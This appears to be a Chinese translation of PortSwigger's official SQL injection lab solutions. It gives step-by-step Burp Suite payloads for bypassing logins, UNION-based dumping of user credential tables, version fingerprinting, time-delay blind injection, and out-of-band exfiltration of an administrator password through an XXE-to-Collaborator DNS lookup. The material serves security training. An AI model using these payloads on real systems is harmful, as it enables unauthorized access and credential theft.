实验室参考答案
# SQL注入实验室 - 官方参考答案
查看所有实验室:https://portswigger.net/web-security/all-labs (opens new window)
# 实验室1(WHERE子句-检索隐藏数据)
点击查看
- 使用 Burp Suite 截获并修改 “产品类别筛选器” 的请求。
- 修改
category
参数,为其赋值:'+OR+1=1--
- 提交请求,并验证响应现在是否包含其他项目。
# 实验室2(绕过登录的SQL注入)
点击查看
- 使用 Burp Suite 拦截和修改登录请求。
- 修改
username
参数,为其赋值:administrator'--
# 实验室3(UNION攻击-确定查询返回的列数)
点击查看
- 使用 Burp Suite 截获和修改 “产品类别筛选器” 的请求。
- 修改
category
参数,为其赋值:'+UNION+SELECT+NULL--
并观察发生的错误。 - 修改
category
参数,添加包含 null 的附加列:'+UNION+SELECT+NULL,NULL--
- 继续添加空值,直到错误消失,并且响应包含空值的其他内容。
# 实验室4(UNION攻击-查找包含文本的列)
点击查看
- 使用 Burp Suite 截获和修改 “产品类别筛选器” 的请求。
- 确定查询返回的列数。验证查询是否返回三列,在
category
参数中使用以下有效负载:'+UNION+SELECT+NULL,NULL,NULL--
- 尝试将每个 null 替换为实验室提供的随机值,例如:
'+UNION+SELECT+'abcdef',NULL,NULL--
- 如果发生错误,请转到下一个 null 并尝试替换该空值。
# 实验室5(UNION攻击-从其他表中检索数据)
点击查看
- 使用 Burp Suite 截获和修改 “产品类别筛选器” 的请求。
- 确定查询返回的列数 (opens new window)以及哪些列包含文本数据 (opens new window)。验证查询是否返回两列,这两列都包含文本,在 category 参数中使用如下所示的有效负载:
'+UNION+SELECT+'abc','def'--
- 使用以下有效负载 来检索
users
表的内容:'+UNION+SELECT+username,+password+FROM+users--
- 验证应用程序的响应 是否包含用户名和密码。
# 实验室6(UNION攻击-在单个列中检索多个值)
点击查看
- 使用 Burp Suite 截获和修改 “产品类别筛选器” 的请求。
- 确定查询返回的列数 (opens new window)以及哪些列包含文本数据 (opens new window)。验证查询是否返回两列,其中只有一列包含文本,在
category
参数中使用如下所示的有效负载:'+UNION+SELECT+NULL,'abc'--
- 使用以下有效负载 来检索
users
表的内容:'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
- 验证应用程序的响应 是否包含用户名和密码。
# 实验室7(SQL注入攻击-查询Oracle的数据库类型和版本)
点击查看
- 使用 Burp Suite 截获和修改 “产品类别筛选器” 的请求。
- 确定查询返回的列数 (opens new window)以及哪些列包含文本数据 (opens new window)。验证查询是否返回两列,这两列都包含文本,在
category
参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'+FROM+dual--
- 使用以下有效载荷 来显示数据库版本:
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
# 实验室8(SQL注入攻击-查询MySQL和Microsoft的数据库类型和版本)
点击查看
- 使用 Burp Suite 截获和修改 “产品类别筛选器” 的请求。
- 确定查询返回的列数 (opens new window)以及哪些列包含文本数据 (opens new window)。验证查询是否返回两列,这两列都包含文本,在
category
参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'#
- 使用以下有效载荷 来显示数据库版本:
'+UNION+SELECT+@@version,+NULL#
# 实验室9(SQL注入攻击-在非Oracle数据库上列出数据库内容)
点击查看
- 使用 Burp Suite 截获和修改 “产品类别筛选器” 的请求。
- 确定查询返回的列数 (opens new window)以及哪些列包含文本数据 (opens new window)。验证查询是否返回两列,这两列都包含文本,在
category
参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'--
- 使用以下有效负载 来检索数据库中的表:
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
- 查找包含用户凭据的表名称。
- 使用以下有效负载(替换表名)来检索表中列的详细信息:
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='表名'--
- 查找包含用户名和密码的列名称。
- 使用以下有效负载(替换表名和列名)来检索所有用户的用户名和密码:
'+UNION+SELECT+列名1,+列名2+FROM+表名--
- 找到
administrator
用户的密码,使用其账号密码进行登录。
# 实验室10(SQL注入攻击-在Oracle上列出数据库内容)
点击查看
- 使用 Burp Suite 截获和修改 “产品类别筛选器” 的请求。
- 确定查询返回的列数 (opens new window)以及哪些列包含文本数据 (opens new window)。验证查询是否返回两列,这两列都包含文本,在
category
参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'+FROM+dual--
- 使用以下有效负载 来检索数据库中的表:
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
- 查找包含用户凭据的表名称。
- 使用以下有效负载(替换表名)来检索表中列的详细信息:
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='表名'--
- 查找包含用户名和密码的列名称。
- 使用以下有效负载(替换表名和列名)来检索所有用户的用户名和密码:
'+UNION+SELECT+列名1,+列名2+FROM+表名--
- 找到
administrator
用户的密码,使用其账号密码进行登录。
# 实验室11(SQL盲注-条件响应)
太长了,以后再翻译吧...(懒)
点我 (opens new window)查看原文(英文),用翻译软件自己看吧。
# 实验室12(SQL盲注-条件错误)
太长了,以后再翻译吧...(懒)
点我 (opens new window)查看原文(英文),用翻译软件自己看吧。
# 实验室13(SQL盲注-时间延迟)
点击查看
- 访问商店的首页,并使用 Burp Suite 拦截和修改 cookie 中包含
TrackingId
参数的请求。 - 修改 cookie 中的
TrackingId
,改为:TrackingId=x'||pg_sleep(10)--
- 提交请求并观察应用程序,需要 10 秒才能响应。
# 实验室14(SQL盲注-时间延迟和信息检索)
太长了,以后再翻译吧...(懒)
点我 (opens new window)查看原文(英文),用翻译软件自己看吧。
# 实验室15(SQL盲注-带外交互)
点击查看
- 访问商店的首页,并使用 Burp Suite 拦截和修改 cookie 中包含
TrackingId
参数的请求。 - 修改 cookie 中的
TrackingId
,将其更改为 可以触发与 Collaborator服务器 交互的有效负载。例如,您可以将SQL注入与基本的XXE (opens new window)技术结合使用,如下所示:TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//子域名/">+%25remote%3b]>'),'/l')+FROM+dual--
- 右键单击并选择 “Insert Collaborator payload” ,在攻击载荷对应的位置,插入 Burp Collaborator 子域。
这里描述的解决方案 足以触发 DNS 查找,从而解决实验问题。在实际情况中,您将使用 Burp Collaborator 来验证您的有效负载 是否确实触发了 DNS 查找,并可能利用此行为从应用程序中泄露敏感数据。我们将在下个实验中介绍这个技术。
# 实验室16(SQL盲注-带外数据泄露)
点击查看
- 访问商店的首页,并使用Burp Suite Professional (opens new window)拦截和修改 cookie 中包含
TrackingId
参数的请求。 - 修改
TrackingId
cookie,将其更改为有效负载,该有效负载 可以在与 Collaborator服务器 的交互中泄露管理员的密码。例如,您可以将 SQL注入 与基本的XXE (opens new window)技术结合使用,如下所示:TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.子域名/">+%25remote%3b]>'),'/l')+FROM+dual--
- 右键单击并选择 “Insert Collaborator payload” ,在攻击载荷对应的位置,插入 Burp Collaborator 子域。
- 转到 “Collaborator” 选项卡,然后单击 “Poll now” 。如果没有看到任何交互信息,请等待几秒钟,然后重试,因为服务器端查询是异步执行的。
- 您应该看到一些 DNS 和 HTTP 交互,它们是由应用程序发起的,是有效负载的结果。
administrator
用户的密码应该出现在交互的子域中,您可以在 Collaborator选项卡 中查看此密码。对于 DNS 交互,查找的完整域名显示在 Description选项卡 中。对于 HTTP 交互,完整的域名显示在 Request to Collaborator 选项卡的 Host 头中。 - 在浏览器中,单击 “My account” 以打开登录页面。使用密码并以
administrator
用户身份登录。
# 实验室17(SQL编码注入-通过XML编码绕过过滤器)
太长了,以后再翻译吧...(懒)
点我 (opens new window)查看原文(英文),用翻译软件自己看吧。
编辑 (opens new window)